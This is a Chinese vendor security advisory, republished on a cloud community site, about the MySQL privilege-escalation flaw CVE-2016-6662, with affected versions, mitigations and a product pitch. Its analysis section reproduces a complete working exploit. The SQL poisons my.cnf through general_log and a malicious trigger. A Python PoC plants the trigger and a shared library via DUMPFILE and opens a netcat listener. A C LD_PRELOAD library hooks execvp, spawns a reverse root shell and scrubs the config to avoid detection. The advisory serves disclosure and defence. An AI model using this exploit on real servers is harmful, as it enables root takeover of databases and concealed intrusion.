MySQL 0Day漏洞出现 该漏洞可以拿到本地Root权限 绿盟科技发布防护方案

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
云数据库 RDS PostgreSQL,高可用系列 2核4GB
简介:

2016年9月12日, legalhackers.com网站发布了编号为CVE-2016-6662的0day漏洞公告 。由于该漏洞可以获得MySQL服务器的Root权限,且影响MySql5.5、5.6、5.7乃至最新版本,绿盟科技安全团队发布高级威胁预警通告,这意味着该漏洞影响范围比较广,危害严重,利用难度较低,绿盟科技将在7*24小时内部应急跟踪,24小时内完成技术分析、产品升级和防护方案。

该漏洞可以允许攻击者远程向MySQL配置文件(my.cnf)注入恶意的环境配置,从而导致严重后果。该漏洞将影响以默认方式进行配置的所有版本的MySQL服务器,涵盖5.7、5.6和5.5,包括最新版本。此外,包括MariaDB和PerconaDB在内的MySQL分支也在影响范围内。攻击者既可以通过本地方式,也可以通过远程方式进行漏洞利用。

绿盟科技威胁预警级别

高级:影响范围比较广,危害严重,利用难度较低,7*24小时内部应急跟踪,24小时内完成技术分析、产品升级和防护方案。

影响的版本

  • MySQL版本 <= 5.7.15
  • MySQL版本 <= 5.6.33
  • MySQL版本 <= 5.5.52

不受影响的版本

  • 无。

MySql 0Day漏洞修复方法

  1. Oracle官方尚未发布补丁,作为暂时的缓解策略,MySQL用户应该做到以下两点:
    • 确保MySQL的配置文件不被MySQL用户所拥有;
    • 以root用户身份创建一个虚假my.cnf文件。
  2. MySQL的两个分支MariaDB和PerconaDB已经发布了补丁,请升级到最新版本,

MySql 0Day漏洞防护方案

产品防护

已经购买了绿盟科技防护类产品服务的客户可以通过产品升级进行防护。

  1. 使用绿盟科技防护类产品WAF/IPS/IDS/NF进行防护。
  2. 使用绿盟科技的远程评估系统RSAS进行安全评估。

防护服务

  1. 短期服务:绿盟科技工程师现场处理。确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。
  2. 中期服务:提供 3-6个月的风险监控与巡检服务。根除风险,确保事件不复发。
  3. 长期服务:基于行业业务风险解决方案(威胁情报+攻击溯源+专业安全服务)。

MySql 0Day漏洞分析

攻击者在仅拥有SELECT/FILE的权限下,可以利用此漏洞实现ROOT提权 ,执行任意代码,进而完全控制MySQL数据库和服务器。

MySQL的默认安装包里面包含一个脚本mysqld_safe,它被用来启动MySQL服务。mysqld_safe脚本是以root权限启动的,而数据库守护进程mysqld是用较低权限的mysql用户启动的。以Debian系统为例,MySQL默认安装后mysqld_safe脚本的部分内容如下:

[...]

# set_malloc_lib LIB

# - If LIB is empty, do nothing and return

# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib

#   then pkglibdir.  tcmalloc is part of the Google perftools project.

# - If LIB is an absolute path, assume it is a malloc shared library

#

# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when

# running mysqld.  See ld.so for details.

set_malloc_lib() {

malloc_lib="$1"

if [ "$malloc_lib" = tcmalloc ]; then

pkglibdir=`get_mysql_config --variable=pkglibdir`

malloc_lib=

# This list is kept intentionally simple.  Simply set --malloc-lib

# to a full path if another location is desired.

for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do

for flavor in _minimal '' _and_profiler _debug; do

tmp="$libdir/libtcmalloc$flavor.so"

#log_notice "DEBUG: Checking for malloc lib '$tmp'"

[ -r "$tmp" ] || continue

malloc_lib="$tmp"

break 2

done

done

[...]

我们可以通过使用--malloc-lib=LIB参数在服务加载时,预先加载一个库文件,这个参数同样可以通过配置文件my.cnf来设置,设置位置在“[mysqld]”或“[mysqld_safe]”部分。

此漏洞的本质是攻击者可以通过log函数利用不恰当的权限设置改写MySQL的配置文件my.cnf,将恶意的库文件路径插入到配置文件my.cnf中,从而加载该恶意库文件,当mysql服务重启时,就能以root权限执行任意代码。

向my.cnf文件写入恶意库文件的具体实现如下:

(1)执行下述MySQL命令。

mysql> set global general_log_file = '/var/lib/mysql/my.cnf'; 
mysql> set global general_log = on; 
mysql> select ' 
'> 
'> ; injected config entry 
'> 
'> [mysqld] 
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so 
'> 
'> [separator] 
'> 
'> '; 
1 row in set (0.00 sec) 
mysql> set global general_log = off;

(2)命令执行后,可以看到my.cnf的文件末尾处,被附加了如下的内容:

# cat /var/lib/mysql/my.cnf 
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: 
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock 
Time                 Id Command    Argument 
160728 17:48:22        43 Query     select ' 

; injected config entry 

[mysqld] 
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so 

[separator] 


160728 17:48:23        43 Query     set global general_log = off

其中“[mysqld]”中的“malloc_lib”选项是关键!当my.cnf配置文件被mysqld_safe脚本加载处理时,mysqld_safe会读取malloc_lib的共享库路径,将其添加到LD_PRELOAD环境变量。mysqld守护进程启动时,此malloc_lib共享库可以优先加载执行,攻击者可以利用这个机会在共享库中执行任意代码,并hook一些函数调用,清理被篡改的配置文件,使得mysqld守护进程正常执行,不会崩溃,使得用户难以察觉。

该本地提权漏洞的完整利用过程如下:

  1. 攻击者利用SQL注入或已有的低权限账号登录MySQL服务器,可以执行低权限的命令。
  2. 通过文件上传或DUMPFILE命令将恶意malloc_lib共享库文件上传到目标服务器 

// 将二进制共享库文件内容转化为十六进制形式 
hookandrootlib_path = './mysql_hookandroot_lib.so' 
with open(hookandrootlib_path, 'rb') as f: 
content = f.read() 
hookandrootlib_hex = binascii.hexlify(content) 

// 通过DUMPFILE命令写入目前服务器 
SELECT unhex("hookandrootlib_hex") INTO DUMPFILE '/var/lib/mysql/mysql_hookandroot_lib.so'

3. 通过设置触发器,提升用户权限,为写入my.cnf文件做准备。

ELIMITER // 
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf 
AFTER INSERT 
ON `poctable` FOR EACH ROW 
BEGIN 

DECLARE void varchar(550); 
set global general_log_file='/var/lib/mysql/my.cnf'; 
set global general_log = on; 
select " 

# 0ldSQL_MySQL_RCE_exploit got here :) 

[mysqld] 
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' 

[abyss] 
" INTO void; 
set global general_log = off; 

END; // 
DELIMITER ;

4. 触发触发器,使得恶意配置被写入my.cnf文件

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server 
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded") 
try: 
cursor = dbconn.cursor() 
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  ) 
except mysql.connector.Error as err: 
errmsg("Something went wrong: {}".format(err)) 
shutdown(6) 

# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point. 
try: 
cursor = dbconn.cursor() 
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" ) 
except mysql.connector.Error as err: 
errmsg("Something went wrong: {}".format(err)) 
shutdown(6)

5. 当MySQL重启时(包括系统更新),就会使得mysqld_safe读取my.cnf文件,进而加载执行恶意共享库文件,从而执行任意代码,由于mysqld_safe默认以root权限执行,所以加载执行的共享库也拥有root权限,可以用来提权。

MySql 0Day漏洞验证程序

legalhackers.com网站公布了一个功能受限的POC,代码如下,它仅能做到以低权限向MySQL数据库的配置文件添加内容:

1、0ldSQL_MySQL_RCE_exploit.py

intro = """

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski

http://legalhackers.com

"""

import argparse

import mysql.connector

import binascii

import subprocess

def info(str):

print "[+] " + str + "\n"

def errmsg(str):

print "[!] " + str + "\n"

def shutdown(code):

if (code==0):

info("Exiting (code: %d)\n" % code)

else:

errmsg("Exiting (code: %d)\n" % code)

exit(code)

cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"

process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

(result, error) = process.communicate()

rc = process.wait()

# where will the library to be preloaded reside? /tmp might get emptied on reboot

# /var/lib/mysql is safer option (and mysql can definitely write in there ;)

malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'

# Main Meat

print intro

# Parse input args

parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')

parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')

parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')

parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')

parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')

parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')

args = parser.parse_args()

# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions

# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)

info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))

try:

dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)

except mysql.connector.Error as err:

errmsg("Failed to connect to the target: {}".format(err))

shutdown(1)

try:

cursor = dbconn.cursor()

cursor.execute("SHOW GRANTS")

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(2)

privs = cursor.fetchall()

info("The account in use has the following grants/perms: " )

for priv in privs:

print priv[0]

print ""

# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld

# process execution and run our code (Remote Root Shell)

# Remember to match the architecture of the target (not your machine!) otherwise the library

# will not load properly on the target.

info("Compiling mysql_hookandroot_lib.so")

cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"

process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

(result, error) = process.communicate()

rc = process.wait()

if rc != 0:

errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)

print error

shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX

info("Converting mysql_hookandroot_lib.so into HEX")

hookandrootlib_path = './mysql_hookandroot_lib.so'

with open(hookandrootlib_path, 'rb') as f:

content = f.read()

hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG

# Decoded payload (paths may differ):

"""

DELIMITER //

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf

AFTER INSERT

ON `poctable` FOR EACH ROW

BEGIN

DECLARE void varchar(550);

set global general_log_file='/var/lib/mysql/my.cnf';

set global general_log = on;

select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]

malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]

" INTO void;

set global general_log = off;

END; //

DELIMITER ;

"""

trigger_payload="""TYPE=TRIGGERS

triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'

sql_modes=0

definers='root@localhost'

client_cs_names='utf8'

connection_cl_names='utf8_general_ci'

db_cl_names='latin1_swedish_ci'

""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function

trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file

TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB

info("Saving trigger payload into %s" % (TRG_path))

try:

cursor = dbconn.cursor()

cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(4)

# Save library into a trigger file

info("Dumping shared library into %s file on the target" % malloc_lib_path)

try:

cursor = dbconn.cursor()

cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server

info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")

try:

cursor = dbconn.cursor()

cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`.

# The payload will write to the mysql config file at this point.

info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )

try:

cursor = dbconn.cursor()

cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(6)

# Check on the config that was just created

info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )

try:

cursor = dbconn.cursor()

cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)

except mysql.connector.Error as err:

errmsg("Something went wrong: {}".format(err))

shutdown(2)

finally:

dbconn.close()  # Close DB connection

print ""

myconfig = cursor.fetchall()

print myconfig[0][0]

info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)

info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )

listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])

listener.communicate()

print ""

# Show config again after all the action is done

info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned :)

info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")

# Shutdown

shutdown(0)

2、mysql_hookandroot_lib.c


 /*

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

mysql_hookandroot_lib.c

This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.

The library is meant to be loaded by mysqld_safe on mysqld daemon startup

to create a reverse shell that connects back to the attacker's host on

6603 port (mysql port in reverse ;) and provides a root shell on the

target.

mysqld_safe will load this library through the following setting:

[mysqld]

malloc_lib=mysql_hookandroot_lib.so

in one of the my.cnf config files (e.g. /etc/my.cnf).

This shared library will hook the execvp() function which is called

during the startup of mysqld process.

It will then fork a reverse shell and clean up the poisoned my.cnf

file in order to let mysqld run as normal so that:

'service mysql restart' will work without a problem.

Before compiling adjust IP / PORT and config path.

~~

Discovered/Coded by:

Dawid Golunski

http://legalhackers.com

~~

Compilation (remember to choose settings compatible with the remote OS/arch):

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

Disclaimer:

For testing purposes only. Do no harm.

Full advisory URL:

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

*/

#define _GNU_SOURCE

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <unistd.h>

#include <string.h>

#include <dlfcn.h>

#include <stdlib.h>

#include <stdarg.h>

#include <fcntl.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#define ATTACKERS_IP "127.0.0.1"

#define SHELL_PORT 6033

#define INJECTED_CONF "/var/lib/mysql/my.cnf"

char* env_list[] = { "HOME=/root", NULL };

typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);

static execvp_func_t old_execvp = NULL;

// fork & send a bash shell to the attacker before starting mysqld

void reverse_shell(void) {

int i; int sockfd;

//socklen_t socklen;

struct sockaddr_in srv_addr;

srv_addr.sin_family = AF_INET;

srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port

srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip

// create new TCP socket && connect

sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );

connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));

for(i = 0; i <= 2; i++) dup2(sockfd, i);

execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );

exit(0);

}

/*

cleanup injected data from the target config before it is read by mysqld

in order to ensure clean startup of the service

The injection (if done via logging) will start with a line like this:

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

*/

int config_cleanup() {

FILE *conf;

char buffer[2000];

long cut_offset=0;

conf = fopen(INJECTED_CONF, "r+");

if (!conf) return 1;

while (!feof(conf)) {

fgets(buffer, sizeof(buffer), conf);

if (strstr(buffer,"/usr/sbin/mysqld, Version")) {

cut_offset = (ftell(conf) - strlen(buffer));

}

}

if (cut_offset>0) ftruncate(fileno(conf), cut_offset);

fclose(conf);

return 0;

}

// execvp() hook

int execvp(const char* filename, char* const argv[]) {

pid_t  pid;

int fd;

// Simple root PoC (touch /root/root_via_mysql)

fd = open("/root/root_via_mysql", O_CREAT);

close(fd);

old_execvp = dlsym(RTLD_NEXT, "execvp");

// Fork a reverse shell and execute the original execvp() function

pid = fork();

if (pid == 0)

reverse_shell();

// clean injected payload before mysqld is started

config_cleanup();

return old_execvp(filename, argv);

}

声明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。



原文发布时间:2017年3月24日

本文由:绿盟科技博客 发布,版权归属于原作者

原文链接:http://toutiao.secjia.com/mysql-0day-cve-2016-6662

本文来自云栖社区合作伙伴安全加,了解相关信息可以关注安全加网站

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
相关文章
|
2月前
|
运维 监控 关系型数据库
MySQL高可用方案:MHA与Galera Cluster对比
本文深入对比了MySQL高可用方案MHA与Galera Cluster的架构原理及适用场景。MHA适用于读写分离、集中写入的场景,具备高效写性能与简单运维优势;而Galera Cluster提供强一致性与多主写入能力,适合对数据一致性要求严格的业务。通过架构对比、性能分析及运维复杂度评估,帮助读者根据自身业务需求选择最合适的高可用方案。
|
2月前
|
Ubuntu 安全 关系型数据库
安装与配置MySQL 8 on Ubuntu,包括权限授予、数据库备份及远程连接指南
以上步骤提供了在Ubuntu上从头开始设置、配置、授权、备份及恢复一个基础但完整的MySQL环境所需知识点。
388 7
|
3月前
|
存储 关系型数据库 MySQL
修复.net Framework4.x连接MYSQL时遇到utf8mb3字符集不支持错误方案。
通过上述步骤大多数情况下能够解决由于UTF-encoding相关错误所带来影响,在实施过程当中要注意备份重要信息以防止意外发生造成无法挽回损失,并且逐一排查确认具体原因以采取针对性措施解除障碍。
244 12
|
4月前
|
SQL 关系型数据库 MySQL
解决MySQL "ONLY_FULL_GROUP_BY" 错误的方案
在实际操作中,应优先考虑修正查询,使之符合 `ONLY_FULL_GROUP_BY`模式的要求,从而既保持了查询的准确性,也避免了潜在的不一致和难以预测的结果。只有在完全理解查询的业务逻辑及其后果,并且需要临时解决问题的情况下,才选择修改SQL模式或使用 `ANY_VALUE()`等方法作为短期解决方案。
614 8
|
3月前
|
监控 NoSQL 关系型数据库
保障Redis与MySQL数据一致性的强化方案
在设计时,需要充分考虑到业务场景和系统复杂度,避免为了追求一致性而过度牺牲系统性能。保持简洁但有效的策略往往比采取过于复杂的方案更加实际。同时,各种方案都需要在实际业务场景中经过慎重评估和充分测试才可以投入生产环境。
220 0
|
存储 SQL 关系型数据库
Mysql高可用架构方案
本文阐述了Mysql高可用架构方案,介绍了 主从模式,MHA模式,MMM模式,MGR模式 方案的实现方式,没有哪个方案是完美的,开发人员在选择何种方案应用到项目中也没有标准答案,合适的才是最好的。
887 3
Mysql高可用架构方案
|
4月前
|
关系型数据库 MySQL Java
MySQL 分库分表 + 平滑扩容方案 (秒懂+史上最全)
MySQL 分库分表 + 平滑扩容方案 (秒懂+史上最全)
|
6月前
|
Ubuntu 关系型数据库 MySQL
mysql8.0安装初始化不需要设定root密码?
uubntu 的mysql安装完成后无法设定root密码
394 10
|
11月前
|
存储 缓存 关系型数据库
【MySQL进阶篇】存储引擎(MySQL体系结构、InnoDB、MyISAM、Memory区别及特点、存储引擎的选择方案)
MySQL的存储引擎是其核心组件之一,负责数据的存储、索引和检索。不同的存储引擎具有不同的功能和特性,可以根据业务需求 选择合适的引擎。本文详细介绍了MySQL体系结构、InnoDB、MyISAM、Memory区别及特点、存储引擎的选择方案。
1905 57
【MySQL进阶篇】存储引擎(MySQL体系结构、InnoDB、MyISAM、Memory区别及特点、存储引擎的选择方案)
|
8月前
|
消息中间件 缓存 NoSQL
缓存与数据库的一致性方案,Redis与Mysql一致性方案,大厂P8的终极方案(图解+秒懂+史上最全)
缓存与数据库的一致性方案,Redis与Mysql一致性方案,大厂P8的终极方案(图解+秒懂+史上最全)